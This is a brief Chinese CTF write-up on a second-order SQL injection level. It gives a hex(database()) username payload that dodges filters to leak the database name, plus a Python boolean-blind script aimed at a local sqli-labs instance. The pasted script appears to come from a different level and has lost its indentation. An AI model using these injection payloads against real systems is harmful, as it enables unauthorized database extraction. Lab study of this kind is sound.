page

这是二次注入的关卡 就register.php那边需要用户名 但是登录过程不需要

登陆后可以看到用户名 测试了一下用户名那边过滤了information 和逗号

好再来学一个神奇的sql方式

通过hex将数据库的名字转成十六进制输出

272.PNG

用户名:’+hex(database())+’

273.PNG

数据库名字web

在本地测试下。发现一次HEX。字符串还是会存在英文。会退出。那就2次hex。发现变成了科学计数法。用substr截取就可以了。

274.PNG

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://127.0.0.1/sqli-labs/Less-8"

normalHtmlLen = len(requests.get(url=url+"?id=1").text)

print(str(normalHtmlLen))

dbNameLen = 0
while True:
dbNameLen_url = url+"?id=1'+and+length(database())="+str(dbNameLen)+"--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print(dbNameLen)
break
if dbNameLen == 30:
print("ERROR")
break

dbNameLen +=1

结果两次转码一下就完成了

275.PNG